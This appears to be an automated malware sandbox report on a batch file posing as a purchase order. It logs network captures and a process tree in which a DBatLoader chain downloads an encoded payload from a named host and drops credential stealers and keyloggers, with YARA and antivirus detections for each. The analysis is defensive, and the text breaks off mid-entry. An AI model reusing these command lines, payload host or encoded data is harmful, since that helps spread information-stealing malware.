Jan 9, 2025 19:09:57.694664001 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:09:57 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2902970cf9a5858aa7d5698b6d5ea86b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 9, 2025 19:09:57.886435986 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 9, 2025 19:09:58.045954943 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:09:57 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b740fee158ee6981a84c439741934fbc Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49813	41.185.8.252	443	5776	C:\Users\user\AppData\Local\Temp\x.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 18:09:49 UTC	169	OUT	GET /wps/200_Oupzhkprnvw HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: lwaziacademy.com
2025-01-09 18:09:49 UTC	182	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 09 Jan 2025 18:09:49 GMT Content-Length: 906612 Connection: close Last-Modified: Fri, 20 Dec 2024 10:43:30 GMT Accept-Ranges: bytes
2025-01-09 18:09:49 UTC	8009	IN	Data Raw: 68 59 32 45 4f 41 4b 47 6b 43 72 2f 2f 76 72 74 2f 41 62 33 2f 41 54 74 41 66 54 74 39 51 55 43 38 50 66 74 37 76 30 41 41 50 54 76 2f 66 73 44 38 2f 66 74 2b 66 50 39 2b 76 6f 45 38 76 54 35 41 2f 48 75 2f 50 49 45 42 66 6b 46 39 77 62 76 39 41 62 31 2b 77 51 46 2f 76 44 76 41 4f 33 31 39 66 6a 7a 42 76 76 35 2b 75 2f 79 2f 66 44 34 2f 66 34 47 38 66 4c 30 41 76 62 30 37 2f 37 35 2b 34 57 4e 68 44 67 43 68 70 41 71 4f 51 48 38 42 76 54 33 2f 50 37 36 41 67 4f 46 6a 59 51 34 41 6f 61 51 4b 72 2b 37 70 70 65 49 7a 63 58 56 79 74 48 43 71 4d 54 44 7a 72 7a 4f 31 4a 2b 61 68 39 66 51 76 63 2f 42 32 4b 33 4b 78 63 62 56 79 37 36 6d 6a 6f 44 4a 78 4d 4b 37 7a 63 75 77 79 64 54 4f 31 63 6e 55 75 70 6d 51 7a 63 50 41 79 73 6d 37 6e 4d 62 51 78 74 6e 5a 32 5a 32 Data Ascii: hY2EOAKGkCr//vrt/Ab3/ATtAfTt9QUC8Pft7v0AAPTv/fsD8/ft+fP9+voE8vT5A/Hu/PIEBfkF9wbv9Ab1+wQF/vDvAO319fjzBvv5+u/y/fD4/f4G8fL0Avb07/75+4WNhDgChpAqOQH8BvT3/P76AgOFjYQ4AoaQKr+7ppeIzcXVytHCqMTDzrzO1J+ah9fQvc/B2K3KxcbVy76mjoDJxMK7zcuwydTO1cnUupmQzcPAysm7nMbQxtnZ2Z2
2025-01-09 18:09:49 UTC	16384	IN	Data Raw: 44 50 45 30 65 58 68 69 68 62 73 73 35 53 50 68 72 45 45 32 44 68 2f 74 4b 51 62 37 30 39 6e 75 75 74 2b 43 4c 4d 53 6c 79 57 43 4e 4d 43 45 42 71 49 47 6c 75 4a 71 6b 78 6e 59 37 4d 6a 30 4c 34 6e 68 2f 78 45 34 6f 4d 76 38 74 5a 4c 79 72 5a 77 71 31 48 67 52 74 4f 70 6e 6f 42 2f 39 57 4b 42 34 4b 35 71 56 33 37 54 72 70 59 75 35 7a 51 55 32 4d 5a 74 62 2f 6b 36 42 32 37 52 56 54 55 43 6a 38 61 5a 64 69 61 4d 32 6b 4e 59 48 42 67 44 37 50 38 41 68 45 51 32 76 57 57 6f 71 66 30 6b 37 57 59 50 2b 54 57 37 64 39 39 68 77 61 54 4d 72 74 68 63 45 75 48 58 42 58 54 6f 32 66 65 6c 6c 4a 4b 66 51 33 34 6f 30 47 67 6b 2b 37 48 57 30 53 50 6c 5a 70 6a 32 65 33 45 65 31 59 66 6e 2f 69 55 6c 35 59 64 74 52 48 4e 4e 7a 63 53 45 62 58 47 39 33 70 70 41 54 78 53 57 41 Data Ascii: DPE0eXhihbss5SPhrEE2Dh/tKQb709nuut+CLMSlyWCNMCEBqIGluJqkxnY7Mj0L4nh/xE4oMv8tZLyrZwq1HgRtOpnoB/9WKB4K5qV37TrpYu5zQU2MZtb/k6B27RVTUCj8aZdiaM2kNYHBgD7P8AhEQ2vWWoqf0k7WYP+TW7d99hwaTMrthcEuHXBXTo2fellJKfQ34o0Ggk+7HW0SPlZpj2e3Ee1Yfn/iUl5YdtRHNNzcSEbXG93ppATxSWA
2025-01-09 18:09:49 UTC	16384	IN	Data Raw: 69 2f 70 70 6e 77 62 70 61 55 4c 61 37 4a 30 66 70 62 69 43 54 63 56 37 6c 45 76 78 61 36 6b 45 2b 37 37 46 30 4b 45 72 38 4f 44 78 32 53 4a 66 46 6f 4c 39 78 53 50 45 42 44 31 54 5a 58 49 37 58 76 30 39 61 42 76 58 45 6b 6e 50 41 59 52 5a 71 54 50 2f 79 76 35 4b 35 67 4f 41 44 57 4d 66 38 57 35 6c 48 56 6e 53 62 66 30 53 4c 58 58 58 33 7a 76 49 5a 74 54 54 73 53 2b 69 79 65 37 5a 63 56 4f 30 68 75 36 35 79 6c 43 48 54 39 69 77 57 5a 57 4a 5a 4e 6f 45 36 71 65 78 48 31 31 38 46 2b 61 73 71 69 78 76 34 50 52 6e 73 53 48 6a 30 46 44 6d 77 33 43 32 34 33 37 75 4a 45 6b 6a 38 43 78 68 4f 4e 41 76 76 69 71 58 31 49 45 61 74 75 46 65 68 41 2f 2f 43 6c 34 56 69 31 72 36 6a 4f 31 38 6e 74 58 58 59 6d 51 48 70 54 52 4d 65 4f 6c 75 6e 49 2b 61 68 68 6b 45 72 42 45 Data Ascii: i/ppnwbpaULa7J0fpbiCTcV7lEvxa6kE+77F0KEr8ODx2SJfFoL9xSPEBD1TZXI7Xv09aBvXEknPAYRZqTP/yv5K5gOADWMf8W5lHVnSbf0SLXXX3zvIZtTTsS+iye7ZcVO0hu65ylCHT9iwWZWJZNoE6qexH118F+asqixv4PRnsSHj0FDmw3C2437uJEkj8CxhONAvviqX1IEatuFehA//Cl4Vi1r6jO18ntXXYmQHpTRMeOlunI+ahhkErBE
2025-01-09 18:09:50 UTC	16384	IN	Data Raw: 6f 6e 32 41 4b 61 45 74 51 70 65 51 42 64 50 63 41 45 56 4b 59 51 37 4b 78 61 37 37 79 6b 2f 35 5a 44 36 72 34 41 4a 64 4f 6f 4e 54 48 4e 37 55 6f 32 46 75 30 6a 34 4f 45 39 68 31 58 49 65 6b 76 58 75 75 6c 67 4e 47 63 6a 43 43 73 64 51 56 72 52 41 63 46 54 64 4b 33 59 64 2f 6b 70 50 65 42 6d 47 55 70 4a 6d 46 4c 4b 4c 52 36 69 43 54 59 69 79 67 59 33 2f 48 6d 4f 73 6b 54 4f 70 6d 50 2b 77 47 6d 62 63 59 48 4d 65 56 6d 2f 4d 69 4a 61 42 35 6f 4d 66 69 39 2b 53 35 62 70 46 4f 52 38 7a 62 61 32 6f 38 61 52 4f 77 62 64 74 61 43 41 79 75 2b 38 30 77 41 32 76 50 51 63 48 57 46 62 54 39 7a 51 64 6d 44 42 4e 38 52 77 4a 35 2b 39 65 39 44 69 36 63 42 44 6a 66 59 43 73 52 52 7a 58 79 55 41 64 47 65 34 2f 48 70 62 44 37 36 67 5a 45 44 79 4b 74 2f 45 67 51 55 65 43 Data Ascii: on2AKaEtQpeQBdPcAEVKYQ7Kxa77yk/5ZD6r4AJdOoNTHN7Uo2Fu0j4OE9h1XIekvXuulgNGcjCCsdQVrRAcFTdK3Yd/kpPeBmGUpJmFLKLR6iCTYiygY3/HmOskTOpmP+wGmbcYHMeVm/MiJaB5oMfi9+S5bpFOR8zba2o8aROwbdtaCAyu+80wA2vPQcHWFbT9zQdmDBN8RwJ5+9e9Di6cBDjfYCsRRzXyUAdGe4/HpbD76gZEDyKt/EgQUeC
2025-01-09 18:09:50 UTC	16384	IN	Data Raw: 46 52 49 74 59 6b 33 48 79 4a 62 2f 69 72 48 2f 53 77 61 79 62 48 53 2b 70 6e 74 74 56 71 72 54 6f 45 41 47 31 78 69 43 71 4c 2b 46 37 74 53 55 32 55 65 6b 79 4f 52 31 30 72 39 42 79 6f 61 43 2f 79 78 32 75 44 30 39 33 73 65 6c 71 38 48 2f 72 4d 77 79 70 47 69 57 35 57 69 66 69 65 6d 32 42 67 51 42 66 33 79 37 4f 65 76 6b 79 48 62 67 4d 53 57 6e 45 74 66 51 45 6a 39 4a 68 64 33 37 31 73 75 7a 43 62 6f 50 42 56 6e 50 75 30 55 4e 45 68 58 67 57 56 68 61 6a 65 45 46 6c 44 45 78 61 41 44 47 35 65 45 56 75 6d 76 47 4e 43 70 41 56 43 5a 5a 79 7a 32 6e 6a 4d 70 4a 69 48 4d 42 4b 76 2b 50 32 41 71 49 65 72 72 62 32 44 37 62 2f 45 37 64 6c 6d 66 68 6a 69 38 6f 68 45 30 6a 6a 51 4b 4e 64 52 32 52 62 4e 71 50 39 42 52 4e 4c 6e 55 74 46 65 56 68 2f 41 4c 53 56 74 58 Data Ascii: FRItYk3HyJb/irH/SwaybHS+pnttVqrToEAG1xiCqL+F7tSU2UekyOR10r9ByoaC/yx2uD093selq8H/rMwypGiW5Wifiem2BgQBf3y7OevkyHbgMSWnEtfQEj9Jhd371suzCboPBVnPu0UNEhXgWVhajeEFlDExaADG5eEVumvGNCpAVCZZyz2njMpJiHMBKv+P2AqIerrb2D7b/E7dlmfhji8ohE0jjQKNdR2RbNqP9BRNLnUtFeVh/ALSVtX
2025-01-09 18:09:50 UTC	16384	IN	Data Raw: 4c 35 4e 6c 45 4f 4c 57 6f 56 48 31 68 4a 6c 63 35 51 50 73 34 59 64 45 6b 6f 63 49 67 37 2f 76 5a 61 77 47 78 63 68 39 51 4c 77 2f 4a 76 43 56 4e 49 48 42 6b 54 6f 35 47 33 65 58 39 4e 67 6b 52 4a 52 49 70 4f 39 45 4b 4c 53 75 72 39 38 79 2b 4c 51 30 62 6b 64 38 49 2b 70 46 6a 70 48 65 68 6c 36 4f 4f 6b 31 54 38 65 54 50 68 62 76 74 49 6c 4b 73 79 36 30 61 55 41 63 41 34 39 4f 35 6b 54 6e 51 69 61 7a 65 64 56 4a 66 32 55 35 69 5a 31 6a 69 6d 57 2b 55 70 66 52 72 77 68 61 58 64 56 30 79 75 34 61 4e 32 54 41 35 4f 41 78 37 67 4d 76 30 6d 6b 48 6a 64 36 6f 47 30 6a 4c 7a 67 56 63 51 4b 5a 7a 69 38 36 74 57 2f 39 53 34 53 41 65 56 30 4a 61 4e 6d 34 39 49 58 6a 55 47 32 50 35 38 55 37 44 72 75 51 30 66 61 56 2b 61 70 75 4f 69 59 73 4b 61 52 69 52 6f 30 61 39 Data Ascii: L5NlEOLWoVH1hJlc5QPs4YdEkocIg7/vZawGxch9QLw/JvCVNIHBkTo5G3eX9NgkRJRIpO9EKLSur98y+LQ0bkd8I+pFjpHehl6OOk1T8eTPhbvtIlKsy60aUAcA49O5kTnQiazedVJf2U5iZ1jimW+UpfRrwhaXdV0yu4aN2TA5OAx7gMv0mkHjd6oG0jLzgVcQKZzi86tW/9S4SAeV0JaNm49IXjUG2P58U7DruQ0faV+apuOiYsKaRiRo0a9
2025-01-09 18:09:50 UTC	16384	IN	Data Raw: 53 50 59 6d 62 41 46 6d 35 59 68 55 6f 4a 32 61 6c 6c 2f 53 6d 53 36 66 53 36 33 61 58 36 49 52 30 42 59 32 62 71 48 53 7a 30 37 73 53 37 77 4c 51 76 43 6e 69 76 67 4f 78 4a 6b 49 69 50 33 64 54 2b 70 6d 2b 44 70 67 57 77 33 59 68 39 49 4a 53 2f 4f 51 38 58 55 76 70 73 35 67 6f 64 75 2b 72 47 74 55 70 71 33 4f 43 36 32 45 4a 53 72 66 6f 2f 47 4e 50 2b 72 79 30 52 78 46 67 78 6c 4c 51 50 58 62 4c 42 46 4c 75 4a 56 69 30 2b 66 6f 6d 65 2f 46 4e 4a 68 39 49 30 38 4b 55 53 4d 71 6d 44 64 4c 4e 2f 48 55 72 65 56 69 31 35 69 64 37 6c 70 49 69 67 33 5a 6b 75 75 4e 45 76 38 53 6c 31 4e 78 2f 64 55 61 39 6c 34 64 4c 4a 44 38 4d 4a 43 6b 6b 69 56 6f 50 4d 35 5a 33 45 73 6f 64 6a 44 6b 5a 71 65 47 41 32 73 43 4e 37 59 77 46 41 52 52 41 2f 70 66 72 4f 64 6a 38 57 41 Data Ascii: SPYmbAFm5YhUoJ2all/SmS6fS63aX6IR0BY2bqHSz07sS7wLQvCnivgOxJkIiP3dT+pm+DpgWw3Yh9IJS/OQ8XUvps5godu+rGtUpq3OC62EJSrfo/GNP+ry0RxFgxlLQPXbLBFLuJVi0+fome/FNJh9I08KUSMqmDdLN/HUreVi15id7lpIig3ZkuuNEv8Sl1Nx/dUa9l4dLJD8MJCkkiVoPM5Z3EsodjDkZqeGA2sCN7YwFARRA/pfrOdj8WA
2025-01-09 18:09:50 UTC	13696	IN	Data Raw: 57 51 69 43 51 41 7a 32 36 6d 75 37 35 2b 4a 72 30 68 47 47 65 58 49 6d 53 76 55 4e 6d 73 35 63 30 46 48 6d 79 50 66 4c 76 47 31 64 6d 31 6b 46 78 59 33 64 4a 48 63 30 38 36 75 5a 75 52 49 34 2b 62 42 79 49 4d 33 68 4f 52 48 6d 4a 37 67 58 34 66 6a 6f 61 72 74 31 32 53 6b 4d 33 7a 75 74 32 7a 70 38 47 38 42 5a 6a 52 49 43 4a 51 4c 4f 69 6a 33 36 59 46 6a 51 35 6a 71 72 73 30 69 63 64 4f 4e 74 4c 71 35 34 46 65 6c 6c 70 51 48 68 30 35 6d 59 6f 61 75 70 56 74 5a 6c 35 46 70 79 56 39 47 71 6c 72 46 51 45 33 73 70 57 6f 48 55 67 35 77 4d 39 70 65 62 53 66 5a 48 33 6b 71 64 49 5a 78 4a 44 42 72 69 6f 6d 78 48 64 62 78 2b 67 41 4e 4b 44 64 4e 65 5a 76 4b 4c 2b 79 31 41 5a 70 4a 6d 2f 48 4d 39 43 53 45 35 4f 62 52 62 65 51 34 2f 53 54 4b 53 33 51 36 59 5a 6f 43 Data Ascii: WQiCQAz26mu75+Jr0hGGeXImSvUNms5c0FHmyPfLvG1dm1kFxY3dJHc086uZuRI4+bByIM3hORHmJ7gX4fjoart12SkM3zut2zp8G8BZjRICJQLOij36YFjQ5jqrs0icdONtLq54FellpQHh05mYoaupVtZl5FpyV9GqlrFQE3spWoHUg5wM9pebSfZH3kqdIZxJDBriomxHdbx+gANKDdNeZvKL+y1AZpJm/HM9CSE5ObRbeQ4/STKS3Q6YZoC
2025-01-09 18:09:50 UTC	8000	IN	Data Raw: 53 4e 75 79 6b 6f 6a 4f 79 55 77 76 6c 78 4f 2f 4d 57 55 75 54 45 39 41 79 70 49 4f 36 6b 63 46 4c 77 6c 44 5a 76 56 53 54 41 6b 2b 44 4e 38 36 39 6e 50 6b 39 56 39 47 38 56 7a 56 67 74 63 2b 41 35 53 68 38 4a 6f 58 45 51 42 34 5a 45 5a 69 75 63 4b 56 6e 6b 42 6b 4e 4f 68 6c 4b 61 51 70 61 2b 72 6e 55 4d 35 6e 37 65 4e 38 46 5a 51 30 4a 58 76 68 6c 63 63 50 41 5a 68 35 47 32 51 6a 58 2b 32 33 32 31 4c 7a 33 65 58 6c 30 55 33 30 6b 57 6e 4a 6e 32 55 6a 37 56 37 74 4a 2f 76 35 6f 77 2b 78 4f 57 43 2f 75 52 36 52 6d 59 2b 42 31 45 77 52 66 74 56 6c 4a 4e 39 4d 4c 6f 77 4d 33 2f 6d 73 58 6e 36 47 30 5a 61 54 33 5a 55 61 55 49 49 59 48 6b 47 32 71 6f 6c 64 51 51 52 30 74 44 32 73 2f 32 44 79 54 56 6c 31 67 63 4e 70 78 55 57 55 33 4c 31 73 44 6e 66 52 44 43 75 Data Ascii: SNuykojOyUwvlxO/MWUuTE9AypIO6kcFLwlDZvVSTAk+DN869nPk9V9G8VzVgtc+A5Sh8JoXEQB4ZEZiucKVnkBkNOhlKaQpa+rnUM5n7eN8FZQ0JXvhlccPAZh5G2QjX+2321Lz3eXl0U30kWnJn2Uj7V7tJ/v5ow+xOWC/uR6RmY+B1EwRftVlJN9MLowM3/msXn6G0ZaT3ZUaUIIYHkG2qoldQQR0tD2s/2DyTVl1gcNpxUWU3L1sDnfRDCu
2025-01-09 18:09:50 UTC	8000	IN	Data Raw: 68 39 33 55 72 68 36 61 42 47 50 4d 4c 52 78 58 74 57 58 66 37 6c 70 61 69 74 73 58 4a 30 4c 4e 75 76 2b 43 47 4f 4a 50 32 6c 4a 4d 74 73 61 52 4f 64 48 37 70 55 31 71 78 72 66 6d 6c 69 4c 64 54 4b 38 46 38 65 47 70 69 6d 45 2f 74 41 68 32 43 6e 54 48 32 72 47 64 54 38 78 70 4c 44 69 65 43 43 53 44 59 6e 34 55 54 69 53 47 45 41 6b 53 6d 67 46 4b 49 59 63 70 63 72 63 37 43 6f 73 45 56 72 37 2f 5a 4c 4b 61 62 69 56 43 36 46 61 64 32 4f 32 6e 30 6a 5a 61 46 36 30 69 70 6c 61 47 38 71 57 2f 72 67 65 63 7a 63 70 66 30 50 68 41 6a 4e 35 5a 79 68 37 45 54 50 72 50 46 74 4c 64 4d 55 4a 34 39 73 52 2f 5a 46 41 54 6d 75 61 33 5a 37 51 37 4b 47 56 49 6a 32 72 57 31 43 5a 65 6b 32 52 43 61 64 61 34 51 59 33 53 4b 36 59 74 48 73 4e 69 62 71 6c 46 79 54 55 37 37 36 54 Data Ascii: h93Urh6aBGPMLRxXtWXf7lpaitsXJ0LNuv+CGOJP2lJMtsaROdH7pU1qxrfmliLdTK8F8eGpimE/tAh2CnTH2rGdT8xpLDieCCSDYn4UTiSGEAkSmgFKIYcpcrc7CosEVr7/ZLKabiVC6Fad2O2n0jZaF60iplaG8qW/rgeczcpf0PhAjN5Zyh7ETPrPFtLdMUJ49sR/ZFATmua3Z7Q7KGVIj2rW1CZek2RCada4QY3SK6YtHsNibqlFyTU776T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49866	104.21.80.1	443	1664	C:\Users\user\AppData\Local\Temp\Microsofts.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 18:09:58 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-09 18:09:58 UTC	859	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:09:58 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1760988 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ss95Nd%2FvHcmMJM96T8qyoZRBFEmUmXClUqjLU%2FVqcAdS%2B6TWYR1JxxdSP8KukeHrVGrew%2Fo5xidc%2FTgJviXku7LhUVmoJQ4HfGakJWeXyMlSuOBuL9A4gZDtyhBrQPc1okMO38CW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff661a74ba1c443-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1536&min_rtt=1532&rtt_var=583&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1862244&cwnd=244&unsent_bytes=0&cid=92ce6d36e821e216&ts=294&x=0"
2025-01-09 18:09:58 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Target ID:	0
Start time:	13:09:22
Start date:	09/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PO#3_RKG367.bat" "
Imagebase:	0x7ff6a5f10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:09:22
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:09:44
Start date:	09/01/2025
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr /e "'v" "C:\Users\user\Desktop\PO#3_RKG367.bat"
Imagebase:	0x7ff7bc380000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:09:44
Start date:	09/01/2025
Path:	C:\Windows\System32\cscript.exe
Wow64 process (32bit):	false
Commandline:	cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs
Imagebase:	0x7ff7eaac0000
File size:	161'280 bytes
MD5 hash:	24590BF74BBBBFD7D7AC070F4E3C44FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:09:45
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Local\Temp\x.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\x.exe
Imagebase:	0x400000
File size:	1'317'376 bytes
MD5 hash:	E337ECD5680D121D6DD649956DC716CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000006.00000002.2536406675.000000007FAA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000006.00000002.2464206701.0000000002266000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:09:50
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:09:51
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:09:51
Start date:	09/01/2025
Path:	C:\Users\Public\Libraries\rpkhzpuO.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\rpkhzpuO.pif
Imagebase:	0x400000
File size:	175'800 bytes
MD5 hash:	22331ABCC9472CC9DC6F37FAF333AA2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000003.2448553311.000000002D0DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000A.00000001.2446233147.00000000013E0000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:09:54
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe"
Imagebase:	0x780000
File size:	70'656 bytes
MD5 hash:	E91A1DB64F5262A633465A0AAFF7A0B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:09:54
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Local\Temp\Microsofts.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Microsofts.exe"
Imagebase:	0x350000
File size:	98'816 bytes
MD5 hash:	F6B8018A27BCDBAA35778849B586D31B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.4634725765.000000000269F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.4634725765.0000000002794000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: 